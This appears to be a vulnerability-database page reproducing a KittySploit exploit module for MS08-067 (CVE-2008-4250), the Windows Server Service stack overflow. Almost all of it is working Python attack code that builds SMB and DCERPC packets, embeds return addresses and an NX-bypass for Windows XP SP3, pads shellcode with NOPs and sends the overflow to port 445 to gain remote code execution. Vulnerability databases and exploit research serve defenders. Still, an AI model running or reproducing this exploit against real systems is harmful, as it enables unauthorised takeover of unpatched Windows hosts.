Lucene search
+L

MS08-067 Microsoft Server Service Relative Path Stack Corruption

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Remote attackers can execute arbitrary code via a crafted RPC request in the Server service.

Refs
Code
from kittysploit import *
from lib.protocols.tcp.tcp_client import TCPSocket
import struct

class Module(Exploit):
	
	
	__info__ = {
		"name": "MS08-067 Microsoft Server Service Relative Path Stack Corruption",
		"description": "The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, "\
      					"Server 2003 SP1 and SP2, Vista Gold and SP1, Server 2008, and 7 Pre-Beta "\
               			"allows remote attackers to execute arbitrary code via a crafted RPC request "\
                  		"that triggers the overflow during path canonicalization, as exploited in the wild by Gimmiv."\
                        "A in October 2008, aka 'Server Service Vulnerability.'",
		"cve": "2008-4250",
		"payload" : {
			"platform": Platform.WINDOWS,
			"arch": Arch.X86,
			"badchars": "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40",
			"category": PayloadCategory.STAGER,
			},
		"version": {
			"Windows XP SP3 French (NX)": {
									"port": 445,
									"ret": b"\x07\xf8\x5b\x59", # 0x59 5b f8 07
									"disable_nx": b"\xc2\x17\x5c\x59",  # 0x59 5c 17 c2
			},
			"Windows XP SP3 English (NX)": {
									"port":445,
									"ret": b"\x07\xf8\x88\x6f", # 0x6f 88 f8 07
									"disable_nx": b"\xc2\x17\x89\x6f"  # 0x6f 89 17 c2
			},

		},
		"version_default": 0,
	'agent': {
	    'risk': 'intrusive',
	    'effects': ['active_exploitation'],
	    'expected_requests': 2,
	    'reversible': False,
	    'approval_required': True,
	    'produces': ['exploit_paths', 'risk_signals'],
	    'cost': 1.5,
	    'noise': 0.5,
	    'value': 1.0,
	    'requires': 	    {'min_endpoints': 0,
	     'min_params': 0,
	     'tech_hints_any': [],
	     'tech_hints_all': [],
	     'specializations_any': [],
	     'risk_signals_any': [],
	     'auth_session': False,
	     'capabilities_any': [],
	     'capabilities_all': [],
	     'confidence_min': {},
	     'confidence_min_any': {},
	     'endpoint_pattern_any': [],
	     'param_any': [],
	     'api_surface_ready': False},
	    'chain': 	    {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
	     'consumes_capabilities': [],
	     'option_bindings': {},
	     'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
	},
	}

	target = OptString("127.0.0.1", "target", "yes")

	def _create_smb_negotiate(self):
		"""Create SMB negotiate protocol request"""
		negotiate = b"\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8"
		negotiate += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
		negotiate += b"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f"
		negotiate += b"\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02"
		negotiate += b"\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f"
		negotiate += b"\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70"
		negotiate += b"\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30"
		negotiate += b"\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54"
		negotiate += b"\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"
		return negotiate

	def _create_smb_session_setup(self):
		"""Create SMB session setup AndX request (anonymous)"""
		session_setup = b"\x00\x00\x00\x48\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8"
		session_setup += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
		session_setup += b"\x00\x00\x40\x00\x0d\xff\x00\x00\x00\xff\xff\x02\x00\x40\x00\x00"
		session_setup += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		session_setup += b"\x00\x00\x00\x00\x00\x00\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30"
		session_setup += b"\x30\x30\x20\x32\x31\x39\x35\x00\x57\x69\x6e\x64\x6f\x77\x73\x20"
		session_setup += b"\x32\x30\x30\x30\x20\x35\x2e\x30\x00"
		return session_setup

	def _create_smb_tree_connect(self, target):
		"""Create SMB tree connect request to IPC$"""
		tree_connect = b"\x00\x00\x00\x5c\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8"
		tree_connect += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xfe"
		tree_connect += b"\x00\x08\x30\x00\x04\xff\x00\x5c\x00\x00\x00\x00\x00\x5c\x00\x5c"
		# Add target IP
		tree_connect += target.encode('utf-8') + b"\x00\x5c\x49\x50\x43\x24\x00\x3f\x3f\x3f\x3f\x3f\x00"
		return tree_connect

	def _create_dcerpc_bind(self):
		"""Create DCERPC bind request for SRVSVC"""
		# SMB NT Create AndX for \pipe\browser
		nt_create = b"\x00\x00\x00\x5a\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x18\x07\xc8"
		nt_create += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xfe"
		nt_create += b"\x00\x08\x30\x00\x18\xff\x00\x00\x00\x00\x07\x00\x06\x00\x00\x00"
		nt_create += b"\x00\x00\x00\x00\x00\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00"
		nt_create += b"\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
		nt_create += b"\x02\x00\x00\x00\x00\x5c\x62\x72\x6f\x77\x73\x65\x72\x00"
		
		# DCERPC Bind
		bind = b"\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00"
		bind += b"\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
		# UUID: 4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0
		bind += b"\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
		bind += b"\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
		bind += b"\x2b\x10\x48\x60\x02\x00\x00\x00"
		return nt_create, bind

	def _create_exploit_packet(self, payload):
		"""Create the exploit packet"""
		# Build the path with overflow
		path = b"\x5c\x00"
		path += b"ABCDEFGHIJ" * 10 
		path += payload
		path += b"\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00"
		path += b"\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00"
		
		jumper = b"\x08\x04\x02\x00"+ b"\xc2\x17\x5c\x59" + b"A" * 4 + b"\x07\xf8\x5b\x59" + b"A" * 42 + b"\x90" * 8 + b"\xeb\x62" + b"A" * 10
		path += jumper 
		path += b"\x00" * 2

		# Build the DCERPC request
		server = b"\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00"
		server += b"\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
		prefix = b"\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"
		
		MaxCount = b"\x36\x01\x00\x00"
		Offset = b"\x00\x00\x00\x00"
		ActualCount = b"\x36\x01\x00\x00"
		
		stub_data = server + MaxCount + Offset + ActualCount + path
		stub_data += b"\xE8\x03\x00\x00" + prefix + b"\x01\x10\x00\x00\x00\x00\x00\x00"
		
		# DCERPC Request header
		dcerpc_req = b"\x05\x00\x00\x03\x10\x00\x00\x00"
		dcerpc_req += struct.pack('<I', len(stub_data) + 24)  # Fragment length
		dcerpc_req += b"\x00\x00\x00\x00"
		dcerpc_req += struct.pack('<I', len(stub_data))  # Alloc hint
		dcerpc_req += b"\x00\x00\x1f\x00"  # Context ID: 0, Opnum: 0x1f (NetprPathCanonicalize)
		dcerpc_req += stub_data
		
		return dcerpc_req

	def run(self):
		try:
			# Prepare payload
			num_nops = 410 - len(self.payload)
			shellcode = b"\x90" * num_nops + self.payload

			print_status("Initiating connection to target")
			
			try:
				tcp_sock = TCPSocket(self.target, 445, timeout=10)
			except Exception as msg:
				print_error(f"Connection failed: {msg}")
				return
			
			# SMB Negotiate
			print_status("Negotiating SMB protocol")
			tcp_sock.send(self._create_smb_negotiate())
			tcp_sock.recv(1024)
			
			# SMB Session Setup
			print_status("Setting up session")
			tcp_sock.send(self._create_smb_session_setup())
			tcp_sock.recv(1024)
			
			# SMB Tree Connect to IPC$
			print_status("Connecting to IPC$")
			tcp_sock.send(self._create_smb_tree_connect(self.target))
			tcp_sock.recv(1024)
			
			# Open pipe and bind DCERPC
			print_status("Binding to SRVSVC")
			nt_create, bind = self._create_dcerpc_bind()
			tcp_sock.send(nt_create)
			tcp_sock.recv(1024)
			
			# Send DCERPC bind wrapped in SMB Trans
			trans_bind = b"\x00\x00\x00\x94\xff\x53\x4d\x42\x25\x00\x00\x00\x00\x18\x07\xc8"
			trans_bind += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xfe"
			trans_bind += b"\x00\x08\x30\x00\x10\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x00"
			trans_bind += b"\x00\x00\x00\x00\x00\x00\x00\x48\x00\x48\x00\x48\x00\x02\x00\x26"
			trans_bind += b"\x00\x00\x00\x00\x5c\x50\x49\x50\x45\x5c\x00\x00\x00"
			trans_bind += bind
			tcp_sock.send(trans_bind)
			tcp_sock.recv(1024)
			
			# Send exploit
			print_status("Sending exploit payload")
			exploit = self._create_exploit_packet(shellcode)
			
			# Wrap in SMB Trans
			trans_exploit = b"\x00\x00" + struct.pack('>H', len(exploit) + 0x5c)
			trans_exploit += b"\xff\x53\x4d\x42\x25\x00\x00\x00\x00\x18\x07\xc8"
			trans_exploit += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xfe"
			trans_exploit += b"\x00\x08\x30\x00\x10\x00\x00"
			trans_exploit += struct.pack('<H', len(exploit))
			trans_exploit += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
			trans_exploit += struct.pack('<H', len(exploit))
			trans_exploit += b"\x00"
			trans_exploit += struct.pack('<H', len(exploit))
			trans_exploit += b"\x00\x02\x00\x26\x00\x00\x00\x00\x5c\x50\x49\x50\x45\x5c\x00\x00\x00"
			trans_exploit += exploit
			
			tcp_sock.send(trans_exploit)
			print_status("Exploit sent successfully")
			
			tcp_sock.close()
			
		except Exception as e:
			print_error(f"Exploit failed: {e}")
			import traceback
			traceback.print_exc()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation